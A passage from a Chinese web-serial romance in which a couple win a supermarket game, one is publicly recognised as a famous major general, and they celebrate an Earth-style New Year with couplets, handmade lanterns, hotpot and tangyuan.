很快，随着前面两位顾客在主持人的祝福声中，手持着宁神穗下台，江寻两人在工作人员的引导下一起登上了展台。 “哇哦！快看，我们迎来了两位英俊帅气的先生。”一眼看到江寻两人的挺拔身姿，主持人立刻夸张地说道，“来来，两位小哥哥，能不能介绍一下，二位是什么关系呢？我觉得台下应该有很多人都想知道是不是？”主持人露出一个坏笑，把问题抛给台下。 台下围观的人群也非常配合地齐声应和：“是！” 江寻接过递到自己面前的话筒，伸手过去拉起陆厌离的手，十指紧扣举了起来，低头时，语气里已经满是笑意：“这位是我的男朋友。” “噫~~”随着他的话音落地，台下顿时响起一阵揶揄的怪声，众人脸上却丝毫不见恶意，只有善意的调侃。 陆厌离被他这直白的展示吓了一跳，反应过来后，面上马上开始泛红，眼中却盈满了笑意。 主持人立刻大声接话：“哈哈！两位先生看起来这么般配，不知道是否能赢下我们的大奖呢！好了，话不多说，我们的游戏马上开始！” 随即，主持人便将自己手上的题板分别递给江寻二人，让他们先秘密写下自己最想买的商品，然后，再各自在分发下去的题板上，背对背写下猜测的对方最喜欢的商品。 待两人写完，主持人先走到了江寻身边：“好了，我们的两位先生已经写完了，我们先来看看这位小哥哥是否猜对了自己男朋友的心爱之物呢，请亮题板！” 江寻与主持人一起亮出题板，两块题板上面清晰地写着相同的几个字：“发光鱼冻”。 看到这个答案，台下立刻响起一片掌声，主持人也高兴地大声宣布：“哇！恭喜，回答正确！我们的两位小哥哥看起来感情真的很好啊，一下子就猜对了！” 坐在旁边的陆厌离有些不好意思地抿了抿唇，眼中却带着光看了江寻一眼，这个发光鱼冻承载着他们最初的美好记忆，对于他的意义早已不是一个简单的食物了。 “接下来，轮到这位先生了！”主持人的情绪随着现场的气氛也高涨了起来，语气里充满了期待，“让我们来看看，二位是否真的心有灵犀！请亮出你的答案！” 陆厌离有点紧张地吸了一口气，略带犹豫地亮出了题板：“智能清洁机器人”。他觉得江寻最喜欢的应该是书籍，可是今天他们买的都是些普通的家用物品，还有一些调料、新鲜食材和零食饮料，他也不确定这些商品里江寻最喜欢哪一个。不过刚才他们在选购这个清洁机器人的时候，江寻在那里对比了好几款，又挨个试用了一遍，挑选了老半天最后才选定了这一款，他觉得，若要从他们今天买的所有东西里，挑一个最喜欢的商品，那最有可能的应该就是这个了。 主持人看了一眼自己手中的题板，脸上的表情瞬间变得耐人寻味，他拖长了声音卖了个关子：“哦——？大家猜这位先生的答案对不对呢？” 场下顿时传来一阵乱七八糟的起哄声，有喊“对”的，也有人在喊“猜错啦”。 满意地吊足了大家的胃口，支持人终于说道：“来了，答案揭晓，我们的另一位先生最想买的商品是——！”他故意停顿了一下，然后猛地翻转了手上的题板，同时，含着笑意大声宣布道：“也是‘发光鱼冻’！” “啊？”陆厌离为这个出乎意料的答案惊讶地睁大了眼睛，下意识地扭头去看江寻。下一秒，却对上了那双始终凝注在他身上的眼睛。 他最想买的也是给我的鱼冻？意识到这一点的同时，刚刚因为这个出乎意料的答案带来的错愕，瞬间全部化为巨大的惊喜。陆厌离的嘴角不受控制地扬了起来。 而此刻，台下的观众们，也骤然爆发出一阵善意的哄笑声。 主持人看着目不转睛凝视着彼此的两人，又看了看瞬间热烈起来的气氛，顺势对着台下的观众们问道：“各位家人们，你们说，虽然这位先生答错了，但是，这个答案好不好？这一关我们该不该给他们过？” “太好了！” “过！过！” “必须过！” “给花环！” 主持人的问话再次将现场的气氛全部调动了起来，台下的观众看着台上两人，喊得声嘶力竭。 “好！既然大家一致同意，那么我宣布——”主持人马上从善如流地说道，“虽然这款清洁机器人我们不能为他们免单了，但我们为这两位先生的深厚情谊，免单这款发光鱼冻！并且再加送一张我们超市的九折打折卡！” 台下的观众们瞬间发出一片叫好声。 “同时，这个象征着丰收与健康安宁的宁神穗花环，也送给他们，祝愿他们新年快乐，幸福美满！”主持人大声说道。 话落，站在一边的工作人员便将一个新的花环与一张硬质卡片送了上来。 主持人接过奖品，在一片掌声中，把这两样东西交到江寻手中，同时，还故意对着他挤了挤眼，压低了声音，却又故意把麦克风举到了嘴边：“这位帅哥，这花环，现在大家一般都挂在家中或大门上用来祈福。不过啊，在更古老的传说里，这其实是婚礼仪式上，最珍贵的新娘头饰哦！它寓意着珍贵与祝福，可是非常好的兆头！” 这番话一落，台下众人顿时明了，一阵阵带笑的起哄声，从杂乱逐渐变得整齐划一： “给他戴上！给他戴上！” 陆厌离脸一红，有些不知所措地站起身来，看向江寻。 江寻也站起身来，接过那个由金灿灿的宁神穗、象征着喜庆的红色丝带和小巧铃铛编织而成的精美花环。在台下众人越发响亮的齐声欢呼与祝福声中，转过身去，走到了脸颊泛红，有些羞涩地看向他的陆厌离面前，露出一个灿烂的笑容，抬手摘下陆厌离宽大的帽子，将那个花环轻轻戴在了他的头上。 陆厌离只觉得头顶一沉，脸颊瞬间烧得更加厉害，连耳尖都一片滚烫。心脏像是疯了似的狂跳不止，他再也克制不住心中激动的情绪，一把抱住面前的江寻，将滚烫的脸颊深深埋进了对方的颈窝里。 台下顿时爆发出一阵更加热烈的掌声与善意的哄笑来，为这一对情谊深厚的甜蜜情侣，送上最真诚的祝福。 就在两人沉浸在热烈的气氛之中，台下的笑声也此起彼伏之际，人群中，忽然传出了一声难以置信的大声惊呼： “等等！那个……那个带着花环的年轻人……是不是陆厌离少将？！”—— 作者有话说：继续甜甜[星星眼]话说，感情戏多了，大家会不会感觉腻呀？我这一写感情戏，各种情节一直从脑子里冒出来[笑哭] 第209章 这一声惊呼， 如惊雷入耳，瞬间炸懵了台下的看客们。众人不由自主地循声这道声音，看向台上那个摘下帽子， 戴上花环的身影。巨大的笑闹声渐渐低落下来，几个不明状况的人发出疑问： “他说谁？” “什么什么？台上的人是什么名人吗？” “陆……少将？不会吧？” 众人方才的注意力都集中在两人的互动上，再加上陆厌离一直戴着一个遮住了大半面容的帽子，竟是只看清了江寻的外貌。此刻被一句点醒， 再次仔细看去。 那高大挺拔的身形， 即便被伴侣的脖颈挡住了一大半， 依然依稀可辨的瘦削下颌线，以及那失去了帽子的遮蔽后， 完全显现在众人面前的稀有银灰色短发，不正是那位经常出现在新闻里，功勋卓著， 以强大的实力与冷淡的气质著称的联盟双星少将陆厌离吗？！ 只是， 此刻的他正头顶着古老传说中珍贵的新娘穗冠，脸颊绯红，一脸幸福温柔地紧紧依偎在身边另一个男人的怀里， 与一直以来出现在公众镜头下的那个冷淡而高贵的少将形象判若两人！ “好像……真的是陆少将……” “不会吧， 陆少将有伴侣了？” “天啊！陆少将谈恋爱的时候竟然是这个样子……” “他的男朋友是谁？居然能令他露出这种表情！” 惊呼声此起彼伏， 所有认出了这位尊贵哨兵的观众都露出了惊讶的表情。而惊讶过后， 更大的好奇瞬间从众人心里冒了出来。 陆厌离少将有伴侣了， 那他的伴侣应该也是一位厉害的向导吧？是谁有这样的本事， 能让陆少将变成这般模样？ 众人的目光立刻聚焦到了那位始终带着温和笑意， 抱着陆厌离的那位英俊年轻人身上，可看了看去，也没人认出这是哪位知名向导。 气氛一时有些沉默， 陆厌离也因为自己被人认出来，有些紧张起来。正当他放开江寻，打算拉着他尽快离开的时候，台下忽然传来一个声音： “恭喜陆少将！” 这个声音，像是一道开关，瞬间打开了台下众人的话匣子，越来越多的祝福声响了起来： “陆少将你们好般配！” “帅哥你要好好对我们陆少将啊！” “陆少将新年快乐！” “陆少将祝你们两位幸福！” “百年好合！长长久久！” 祝福声越来越大，最后，几乎场中的所有人都扬起了笑脸，对二人恭贺起来。巨大的声浪，吸引了越来越多的人加入进来，热烈的气氛盈满整个场馆。 陆厌离惊讶地望向台下激动的人群，听着不断传到耳中的祝福，面上露出一副惊喜到不知所措的复杂表情。他不由紧紧抓住身边的江寻，求助似的看向他。 江寻看着陆厌离眼中涌起的依赖，莞尔一笑，凑到他耳边低声道：“你看，所有的人都喜欢你，他们都在真心的祝福你。你所做的一切，都有被人们好好记在心里。” 陆厌离环顾着周围所有人群，目光从每个人脸上划过。那真实的笑容与真挚的祝福，几乎灼痛他的双眼。 江寻笑着揽过陆厌离，一手提起放在地上的购物袋与刚才获得的“战利品”，抬高了声音，对着周围热情的人群大声喊道：“谢谢大家的祝福！也祝大家新年快乐！幸福美满！” 说完，不等更多的人围拢过来，拉着还顶着那个格外显眼的精致花环的陆厌离，快步穿过人群，向着超市出口走去。速度快得几乎像是落荒而逃。只留下身后一片骤然响起的哄笑与更加响亮的祝福声。 一路疾驰，直到回到了湖畔区的家中，两人才松了口气。此时，再看着对方有些狼狈的模样，与那个依然戴在陆厌离头上的宁神穗花环，忍不住对视一眼，大笑起来。 第二天，假期正式开始，但两人却没有睡懒觉，而是早早醒了过来。昨天，他们采购了不少东西，今天可是有许多事情计划要做呢。 江寻兴致勃勃地拿出昨天在超市里采购到的一些材料，铺在宽大的书桌上——是许多质量很好的红卡纸，一支软头笔，还有一些用来给孩子们做手工用的彩色支撑条与镊子、速干胶水等物。 这两天他在附近看到了许多各具特色的新年装饰，让他想起了他的家乡——地球华国过年时的习俗。他的童年也比较特殊，从记事以后便没有好好过过新年。这一次有了机会，又有了想要共度一生的伴侣，他也想好好过一次年。 “在我的家乡，过年也有些特殊的风俗，我们今年就按我家乡的传统来过新年吧？”江寻兴致勃勃地将所有材料分门别类地展开，对着好奇围过来的陆厌离说道。 “你的家乡？好呀！”陆厌离眼睛一亮，立刻同意。 江寻平日里几乎从不会提及自己的家乡，他记得很久之前，早在寂静星的时候他就曾说过，自己算是一个“偷渡客”，他的家乡远在联盟的疆域之外，是个连联盟的存在都不曾知晓的地方。因此，他其实一直对江寻的来处抱有好奇，只是对方没有主动说过，他也不好提及。此刻，见江寻有意和自己分享家乡的风俗，他立刻兴致盎然地应了下来。 “在你的家乡里，过新年也要庆祝吗？都有些什么风俗？这些东西又是做什么用的？”陆厌离被勾起了好奇心，凑在江寻身边，一边看着他动作，一边连连追问。 “这是春联和福字联。”江寻拿起软头笔，作势要写字。 昨天在超市里没有找到毛笔，只找到了这种有点类似的软头笔，便将它买回来代替使用。 陆厌离看着江寻用软头笔搭配一种显眼的金色墨水，在裁好的红卡纸上，写下一种他从没见过的方形文字，听着他一边书写一边给自己解释起来： “在我的家乡里，过新年的时候，家家户户都会在大门两边贴上这种红色的对联。上面写着的都是祈愿的话语，表达了我们对新的一年的美好期待。还有这个福字联……”江寻一边说着，一边将写好的春联放在一边，拿起那张方形的红卡纸，在中心写上一个大大的“福”字，“这个福字联，要倒过来贴在大门上，取谐音，寓意着‘福到了’。” 江寻下笔十分专注，从笔尖流淌出来的是陆厌离不认识的方块字。但这些字形结构优美，又带着一种独特的韵律感，被江寻行云流水地书写在红色的卡纸上，配上金色墨水，展现出一种龙飞凤舞的气势来。 陆厌离坐在他的身边，耳中听着对方为自己一一讲解笔下字句的含义，看着他认真中又透着一丝怀念的侧脸，心中温暖而平静，油然而生一种极为踏实的感觉。 待旁边写好的春联墨迹风干，他又坐在一旁，学着江寻的样子，拿起小刀，帮他将剩余几副春联一一裁剪成型。 两人一个写，一个整理裁切，配合默契，不一会儿，好几副金光熠熠的春联和几个大大的“福”字联，便被做好了。 “走，我们一起去贴在门上。”江寻一一浏览了一遍写好的春联，欣慰地发现自己的水平没有退步，拿起写好的春联和速干胶水，向着门口走去。陆厌离随即一个应声，立刻跟了上去。 “左边再高一点点……不对不对，太高了……好！就是那里！” “这个福字要倒过来贴？哪个方向是正面？” 两人一个指挥一个动手，有点笨拙地配合着，完成了工作。不一会儿，带着墨香和淡淡胶水味道的红色春联和倒福字，便被端端正正地贴在了这个异世界的大门上。 完工时，陆厌离的手上还沾着一点未干的胶水，被红卡纸染成了淡淡的红色。他看了一眼认真抬头端详着大门上劳动成果的江寻，突然生出了点使坏的念头，速度极快地抬手，把指尖被染红的胶水在他脸上印了一下。 江寻一楞，随即故意装出一副生气的模样，同样用手指沾上点儿胶水，作势就要给他抹回去。陆厌离连忙笑着抱起剩余的春联就往回跑，江寻也一把抄起胶水等零碎，笑闹着追了上去。 陆厌离听着身后传来的句句“威胁”，脚下跑得飞快。看着手上红艳艳的春联，只觉得这个新年，还没开始就已经充满了令人欢喜的气息。莞尔一笑，对这个长长的假期，再次充满了期待。 一阵笑闹过后，两人又兴致勃勃地在别墅其他几扇主要的大门上，也贴上了对应的春联和福字。一切完成之后，看着全屋各处被点缀上的鲜艳红色，江寻的兴致更高了。 他趁势拿出昨天买的那些手工材料，跃跃欲试地对着陆厌离说道：“在我们的习俗里，还要给大门两边挂上灯笼。这个就只能由我自己做了，不过我也没有尝试过，只能照着大概的样子摸索着试试看。” “好呀，是什么样子的？我能帮你一起做吗？”陆厌离也很感兴趣地问道。 “当然！”江寻拿起笔，取过一张草稿纸，在上面简单勾勒出了一个圆形灯笼的骨架结构和外面蒙皮的大致样子，一边画着一边给陆厌离讲解着灯笼的整体结构。陆厌离凑在江寻身边，像听取作战会议一样认真地听着他的讲解，一双碧眸中同样闪烁着跃跃欲试的光芒。 “听起来……好像不太难。”陆厌离在脑海中勾勒出这个“灯笼”的大致样子，拿起旁边的一根软性支撑条，按照江寻的图纸上画出来的样子，尝试着把它弯折成一个圆形。 起初掌握不好力道，一不小心便把一根支撑条掰断了。他也不急，重新拿起一根，跟着江寻的动作，放轻力道将它再次弯折过来，再用专用的锁扣固定住。 两个人头挨着头，像两个一起完成幼儿园手工作业的小朋友一般，认真讨论着骨架要怎么连接才更加牢固，蒙皮用纸还是布料才更加合适，用胶水还是锁扣更美观，中心放置光源的地方，又要留出多大的空隙才足够。 就这么磕磕绊绊地，虽然外表看起来有些歪斜，接缝处也略显粗糙，可第一个来自地球华国的成品红灯笼，还真的被他们捣鼓了出来！ “成功了！”陆厌离看着摆在两人面前的这个算不上精美的小灯笼，眼睛亮晶晶的，语气里带着难得的雀跃兴奋，“快把光源放进去试试看！”他扭头看向江寻，急切地催促道。 “好好。”江寻看着他这副急不可耐的样子，微微一笑，拿出事先准备好的无线晶灯，小心地卡进灯笼内部预留的空隙里。按下开关，柔和温暖的光线立刻透过红色的蒙皮洒了出来，落在两人的面孔上，投下一圈朦胧美好的光晕。 “真漂亮！”陆厌离轻轻转动着面前的红灯笼，于是那照亮他双眸的红，也随之摇曳起来，走马般在他的脸上映出忽明忽暗的光影来。 江寻的目光跟着这流动的光影，不自觉地从面前的灯笼移到了陆厌离的脸上，看着红色的灯笼光在他的脸孔上流转，不自觉地便生出股时光荏苒，岁月温柔的缱绻情意来。 看着看着，不由微微一笑，无怪乎古人都说，要灯下看美人。 他的视线是那么直接而热烈，立刻就被陆厌离敏感地察觉到。陆厌离疑惑地扭头回望，却正正对上江寻深邃的目光。一怔之后，在那强烈的视线下，他的心跳也不由加快了起来，喉咙不自觉轻轻吞咽了一下。 江寻没有漏看这个细节，面上的笑容更深，慢慢倾身过去，在陆厌离羞涩低垂的视线里，深深吻住了他的唇。 这个吻极近轻柔婉转，充满了珍惜，让两人分开之时，陆厌离还忍不住勾着脖子追了上去，又磨蹭了好半天。 一吻之后，两人心中更加甜蜜，江寻直接伸手将陆厌离揽进了自己怀里，下巴垫上他的肩头，就这么抱着陆厌离，开始做第二个灯笼。 有了第一个的经验，第二个做起来更加顺手，可因为某人总是忍不住动手动脚打乱节奏，这第二个做得竟是比第一个还要慢了许多。等做完了这第二个，江寻还想再做两个，大门外面挂一对儿，别墅门上再挂一对儿，可被他骚扰得满面通红的陆厌离却是再也不肯了，逃也似的从他怀里脱身出来，抱着做好的两个灯笼就往大门外面跑。 江寻低头一笑，便也打消了念头，跟着来到了大门口，将这两个红灯笼，一左一右地挂上了大门两侧的房檐。 灯光亮起，一阵微风吹过，摇曳的淡红色光影晃动在绿荫丛中，便显出几分雅致风韵来。 江寻退后几步，把视野拉远，观察整体的效果，摸了摸下巴有些犹豫：“嗯……这个样子，若是平时的话，倒是刚刚好。现在正过新年，和别人家庭院里那些花团锦簇的装饰比起来，好像略显单调了……你觉得呢？” 陆厌离扭头，远远看了看旁边几户人家庭院里，还没等天黑就闪烁起来的各种装饰灯和彩带气球，再对比看看自家的，点了点头提议道：“好像是有些素淡了。昨天不是还买了些备用的彩灯和装饰吗？要不然把那些也用上？” “好，试试看！” 一念既起，两人当即又忙碌了起来。 这些备用的彩灯和装饰就没有什么特定的风格和固定的位置了。两人也没有什么布置庆典的经验，全凭自己的感觉，哪里感觉空旷就缠上彩灯，哪里看着顺眼便挂上亮晶晶的挂件。 一番努力下来，将所有的彩灯都打开，两人再次退到庭院中央，审视他们的劳动成果。 只见素雅的院墙上，缠绕得略显随意的小彩灯闪闪烁烁地散发着光彩。院中的绿植上，别墅的墙壁上，被挂上了零零落落的各种闪亮挂件、小气球。手制的两只不算规整的灯笼红红火火地摇曳在大门口。红色的春联上，金色的字迹在灯光下闪烁着点点微光。 所有元素组合在一起，怎么说呢……效果，有点难以形容。完全没有邻居家那种琳琅满目的华美和协调感，反而让人感觉乱糟糟，闹哄哄的，像是幼儿园的小朋友过节一般，显出些有点好笑的天真童趣。 看着自家门口这片热热闹闹，又“独树一帜”的景象，江寻和陆厌离对视一眼，同时忍不住噗嗤一声，笑出声来。 “好像是乱了点。”江寻笑着摇了摇头。 “但是，比他们的布置都要亮！”陆厌离看着面前这片被他们亲手布置出来的，独一无二的闪亮风景，目光中只有满满的满足。 两人同时笑了起来，很自然地牵起了手，一起走进了这座被他们亲手布置出来的“家”里。 天光渐暗，暮色降临。 别墅内却灯火通明。 江寻一边清洗着蔬菜，一边给陆厌离讲起他遥远的记忆中，关于华国新年的种种片段：“在我的家乡，一年的最后一天晚上，叫做‘除夕’。在这一天，全家人都要聚集在一起，拿出最好的食材，准备一顿丰盛的晚餐围坐在一起吃。这顿饭就叫做‘年夜饭’，这代表着家庭团圆美满。而吃完年夜饭之后，所有人还要一起等待着零点那个新的一年到来的那一刻，这个就叫做‘守岁’，象征着对过去的告别与对新的一年的期待。” 陆厌离专注地听着江寻的讲解，站在他身边，按照指示，将洗好的各种蔬菜与肉类，一样样切成合适的大小，再一一码放在盘子里。哨兵对于冷兵器的掌握，似乎也对切菜有着加成，切好的蔬菜几乎全都大小一致，整整齐齐，看起来很有秩序感。 江寻则在洗好菜后，开始制作晚上要用的火锅锅底。哨兵的味觉灵敏，大多喜欢口味清淡的食物，特别是陆厌离，还对甜口比较偏爱，江寻自然没有选在华国最受欢迎的麻辣锅底，而是用骨汤搭配少量糖，制作成一种类似椰子鸡口味的甜味荤汤，再搭配一个酸甜口味的“番茄”汤底用来解腻。 炖煮了一下午的骨汤往炒好肉的锅里一倒，便散发出一种诱人的香气。另一边的“番茄”锅底，完全属于江寻自创，使用了一种常见的酸甜味水果。没想到做出来之后，效果也不赖。 除此之外，江寻还按照从小长大的南城的风俗，准备了一样特别的东西。 他找到了一种吸水性与黏度与糯米近似的作物，磨成粉后作为原材料，又用多种坚果混合糖粉和融化的动物油脂，制成馅料，开始自制汤圆。 “这个叫做‘汤圆’，也是我的家乡过节时必备的一种食物，象征着团圆甜蜜。”江寻拿起一小团和好的面皮放在手心里，熟练地捏成一个小蛊状，再填入馅料，收口后捏紧，搓成一个圆鼓鼓的白面团子。他的动作很慢，给陆厌离演示了一遍后，便示意他也来试试。 陆厌离看了一遍就信心满满地开始动手，可他似乎对这种软绵绵的东西格外苦手。面团在他的手里，总是不那么听话，捏出来的成品，不是太厚太大，就是破了皮漏了陷。放在案板上，对比着从江寻手中诞生出来的那些白胖圆润的汤圆，显得格外奇形怪状。 不服气地一连尝试着捏了许多个，只多了一排更加古怪的成品，让他懊恼得紧紧抿起了嘴唇。 江寻被他这难得的挫败模样逗笑了，这偷笑声被陆厌离听到耳里，当即一脸控诉地望了过来。 江寻掩饰般轻咳一声，眼中却仍是抑不住的笑意。他走到陆厌离身后，伸手握住他的手指，带着他一点点调整力度和手法：“这样……对，慢一点，这里不用太使劲……对，就是这样。” 江寻手把手地带着他包了好几个，陆厌离终于掌握到了诀窍，当即严肃地斥退了江寻，自己动手一连包了一溜儿圆滚滚的汤圆出来。 看着摆在案板上的自己的最新作品，这才满意地点了点头，碧绿的眼眸中，漫起了满满的成就感。 在这样的齐心协力下，两人经过一番忙碌，终于将晚餐所要用到的所有食材都准备妥当。 在他们期待的目光里，夜色渐渐深沉，当时针指向七点的时候，外间忽地一明，林木之间所有的路灯与观赏彩灯齐刷刷被点亮。随着一支巨大的烟花在湖面上炸开，跨年夜的庆祝活动正式开始。 第210章 巨大的闪亮烟花， 透过落地窗，一瞬间将整个房间照得内外通明。 江寻与陆厌离相视一笑，同时打开了自家门前装饰着的那些彩灯。 将折叠餐桌搬到庭院中支好， 两人把咕嘟咕嘟冒着泡的火锅，和码好的各色涮菜与蘸料都摆了上来，还难得地摆上了在他们的餐桌上很少见到的几瓶酒精饮料。 此时，整个湖畔区也已经被节日的氛围所笼罩。湖中再次游曳着巨大的透光水母， 闪烁着梦幻光彩的萤虫也汇聚起来， 一闪一闪地飞舞在空中。邻居家的庭院里， 陆陆续续亮起了灯光，有隐隐约约的人语笑闹声与音乐声远远传来。 江寻神神秘秘地拿出一个室外全息投影仪， 布置在庭院一角。投影仪启动，被事先录入其中的影像当即被投射到了空中。一簇簇绚烂美丽的“烟花”在模拟的爆响声中腾空而起，在别墅上空漆黑的夜幕中轰然绽放！ 一朵朵五光十色的电子烟花， 在一片漆黑的画布上留下璀璨夺目的图案， 将两人脚下的庭院映照得流光溢彩。 “哇！快看那边！好漂亮的烟花！” “妈妈！我们也要放烟花！” “真好看！” 远远地，有孩童的惊呼声与笑闹声随着烟花的绽放隐隐飘来。江寻对着陆厌离略有些得意地一笑，拉着他在餐桌旁并排坐下， 和着满目绚烂， 开始了他们独一无二的年夜饭。 骨汤咕嘟咕嘟地再次翻滚起来， 渐渐散发出诱人的氤氲香气。一边的“番茄”锅底， 加热之后， 竟然隐隐散发出一股水果特有的清甜来。 两人随着自己的心意， 把准备好的各色食材一一下进锅里， 却没有遵循食不言寝不语的好习惯，反而一边吃着东西，一边随意地聊起天来。 “咦？真好吃！你好厉害， 连火锅都会自己做。” “好了快捞起来，这个肉卷不能煮太久。” “这个丸子也好吃，你尝尝看。” “不要，不想吃菜，我要吃肉……” 蒸汽熏红了脸颊，笑意压弯了眉眼。 江寻吃着吃着，看着氤氲在热气中显得格外轻松惬意的那双碧眸，忽地心生感慨，轻轻放下筷子，抬手抚上陆厌离在夜风中有些微凉的脸颊。 “有时候想起来，真的觉得像是在做梦一样。去年的这个时候，我们还天各一方，漂泊在浩瀚的宇宙里，甚至不知道明天会去向何方。没想到现在，就能这样坐在一起，共同吃起年夜饭了。” 陆厌离也放下了碗筷，顺着江寻手指的方向微侧过脸，在他的手上轻蹭几下。听着江寻的话语，他的思绪也飘回了遥远的过去。想起了那绝望的分别，无望的寻找，以及不断地获得希望，又在转瞬间失去的痛苦。 而如今…… 他的目光从这满院的灯火与头顶上不停绽放的烟花上掠过；又从面前丰盛琳琅的菜肴上掠过；最终落在了身边这个始终柔和着眉眼，专注凝望着自己的人身上。 一种巨大到几乎不真实的幸福感，忽地从心底涌出，转瞬间便将他彻底淹没。 他忽然生出了一种奇怪的感觉，这一切都太过美好了，美好到让他的心头发慌，甚至生出了一丝惶恐。他突然强烈地怀疑起来，他面前的一切都是真实的吗？还是他已经死在了哪一次无望的寻找的途中，做了一场漫长而又逼真的美梦？ 他猛地转过身去，伸手紧紧地抱住了江寻，将自己埋入他温热的胸膛里：“江寻……这一切都是真的吗？你是真的吗？我真的找到你了吗？”声音渐低，微微发颤，好像是想要得到肯定，又害怕听到相反的答案。 江寻被他抱得一怔，他没想到自己的一句感慨，竟然能引起陆厌离这么大的反应。听着他的喃喃低语，江寻心中顿时酸软成一片。 他抱起陆厌离放在自己腿上，将他完全拥入自己怀中，就像当初他还是一只小小的猫儿时那样，用自己的气息将他完全笼罩。 他拍抚着陆厌离的脊背，声音低沉而坚定，一如他每一次的承诺：“当然是真的，陆厌离。你已经找到我了，我们在一起了。而且，以后的每一天每一年，我们都会这样一起度过，直到死亡将我们分开。” 坚定的话语与温暖的怀抱，渐渐驱散了陆厌离心中的不安。他只觉眼眶微湿，却是幸福到几乎无法承受了。手臂更紧地攀在江寻的脖颈上，急切地在他颈间磨蹭着，汲取着属于他的气息。 江寻完全没有反抗的意思，只是揽着他，始终轻拍在他的脊背上，安抚着他不安的情绪。 久久，陆厌离才慢慢平静了下来。可意识到自己的姿势，看着江寻被自己弄乱的领口，又窘迫地不好意思抬起头来。 江寻莞尔一笑，什么也没说，只是轻轻亲了亲陆厌离的额头，重新把他放了下来，照顾着他继续吃饭。 杯盘碗箸和着火锅的咕嘟声里，连时间也似乎变得缓慢了下来。 吃得八分饱，江寻又起身走进屋里，不一会儿，端着两碗白白胖胖的汤圆走了出来。 “来，刚才努力了那么久，来尝尝我们的劳动成果。”他将其中一碗放在陆厌离面前，脸上带着笑意，“我觉得你一定喜欢。” 陆厌离此时已经调整好了情绪，看着面前的吃食，又听到江寻的话语，有些感兴趣地舀起一个，小心吹了吹，送入口中。 软糯的外皮一抿即破，里面温热香甜的馅料瞬间流淌出来，充满了整个口腔。坚果的醇香，混合着糖粉的软甜与油脂的滋润，共同组合成一种极为润泽甜蜜的味道。这样略显强烈的味道又被软糯而清淡的外皮中和，搭配出层次分明的口感，让他的眼睛瞬间亮了起来。 “好吃！真好吃！”陆厌离连声赞叹起来，迫不及待地又舀起一个。这一次，他吃得更慢了起来，享受地连眼睛都微微眯了起来，细细品味了半天才咽了下去，随即又开始吃下一个。也不怕烫口，一碗半满的汤圆端在手里没一会儿，就下去了一小半。 江寻看他吃得香甜，也笑着舀起自己碗里的汤圆尝了一口。他倒是不怎么爱好这样纯甜口的食物，只是每次过节时才会应景地吃上一次。 咬开一个尝了尝，口感味道还是与家乡的不大一样，但是也算是还原了七八分，整体还是很好吃的。放下心来，便一边吃着一边笑眯眯地继续说道：“在我们家乡里，吃汤圆的时候还有个有趣的习俗。我们会在包汤圆时，偷偷在里面藏一个‘彩蛋’。传说啊，谁吃到了这个带着彩蛋的汤圆，接下来的一年里都会顺顺利利，好运连连。” 他顿了顿，看着随着他的话语亮起了眼睛的陆厌离，眼中带着点挑战的意味补充道：“不过，这彩蛋可只有一个哦，要不要比比看，我们两人里，谁今天的运气更好一点？” “比就比！”陆厌离从小到大参加过的各种比赛数不胜数，可不知为什么，竟然在江寻提出的这个带着些趣味性的“小比赛”时，突然燃起了熊熊的好胜心。 他斜睨了江寻一眼，从鼻子里泄出一声轻哼，埋下头来吃得更仔细了，每咬开一个汤圆，都要低头看看里面包着的馅料，生怕自己漏过了那个珍贵的“彩蛋”。 一双碧绿的眼眸中充满了认真与期待，对待这一碗小小的汤圆，仿佛比对待敌人还要严谨。 江寻看着他这副模样，低声一笑，悠哉悠哉地慢慢吃起他自己碗里的汤圆。 汤圆的温度渐渐降了下来，陆厌离吃起来的速度更快了，可眼看着碗里的汤圆越来越少，那个特殊的“彩蛋”却迟迟没有出现。 他偷偷瞥了江寻一眼，见对方似乎也没有吃到“彩蛋”的样子，先是松了口气，可看着对方碗里还剩大半的汤圆，再对比自己只剩下五六个的碗底，心里顿时着急起来。 “这里面真的有‘彩蛋’吗？”陆厌离先是有些疑惑地转头，问向江寻，得到他肯定的回答后，又是眼睛一转，伸手轻轻拉了拉江寻的袖子，眼神里带上了点耍赖的顽皮劲：“江寻，我们换换好不好？我不够吃，想吃你碗里的。” 江寻被他这难得的孩子气逗得直接笑出声来，故意逗他：“平时怎么没见你饭量这么大？一下子吃这么多，也不怕撑坏了肚子？” 陆厌离立刻挺直腰板，一本正经地胡诌起来，只是微微泛红的耳根，暴露了他的些许心虚：“哨兵的体能消耗本来就很大，新陈代谢也比常人要快得多，饭量本来就比别人大。我……我平时吃得少是为了配合你，但我认真吃起来，可是能吃很多的！”他找着各种理由解释着，努力让自己的话更有说服力。 江寻想了想，似乎在一些科普文献中真的看到过这种说法，知道他不会因此撑坏了肚子，便也不再担心，好笑地看了他一眼，顺从地把自己的碗递了过去：“好，那我跟你换。” 陆厌离立刻露出一个开心的笑容，动作飞快地把江寻那碗几乎没吃几个的汤圆抱到自己面前，心满意足地重新拿起勺子，继续仔仔细细地寻起了他的“宝藏”。 江寻低低一笑，用勺子在被陆厌离换过来的那碗汤圆中搅了搅，目光在某处定了定，露出个好笑的表情，也不继续吃，只浅浅地舀着汤圆汤喝了起来。 陆厌离抱着江寻这碗汤圆速度飞快地攻克着，眼看着碗里的汤圆又一次见底，这一次，连他的肚子都已经明显感到了饱胀，可那个传说中的“彩蛋”依然不见踪影，不禁有些气馁地搅了搅碗里剩余的寥寥几个汤圆，眉头微微蹙了起来。 江寻看着他的样子，知道他这是已经吃饱了，轻轻从自己碗里舀起一个外观与旁的一模一样的汤圆，却没有送入自己口中，而是眼睛一转，侧身凑近陆厌离，戏谑说道：“怎么样？我碗里的有没有更好吃一点？” 见陆厌离一脸怨念地斜了他一眼，才偷笑一声，搭上他的肩头，状似抱怨地说道：“我自己的那碗我都没怎么吃到，喂我一个让我尝尝有什么不一样的？” 陆厌离虽然因为一直找不到那个“彩蛋”有些失落，可听到江寻的要求，还是下意识地立刻从自己碗里舀起一个汤圆，小心递到江寻嘴边，让他就着自己的手，低头吃了下去。 江寻低笑一声，这才将自己勺子上那个一直没动的白胖汤圆，自然地递到陆厌离唇边：“吃了你一个，我也还你一个。” 陆厌离不疑有他，立刻启唇接了下来。 然而，当这个汤圆在口中破开那层软糯外皮的瞬间，一股极其浓郁的，与之前所有的坚果馅料都完全不同的甜蜜滋味瞬间在口腔中爆开！ 他的眼睛猛地睁大，再次咬了一口，确定自己真的没有感觉错误，立刻惊喜地看向江寻，声音里带着难以置信的雀跃：“江寻，我吃到了！这个……这个好甜！是蜂蜜馅的！这个是不是就是你说的那个‘彩蛋’？！” 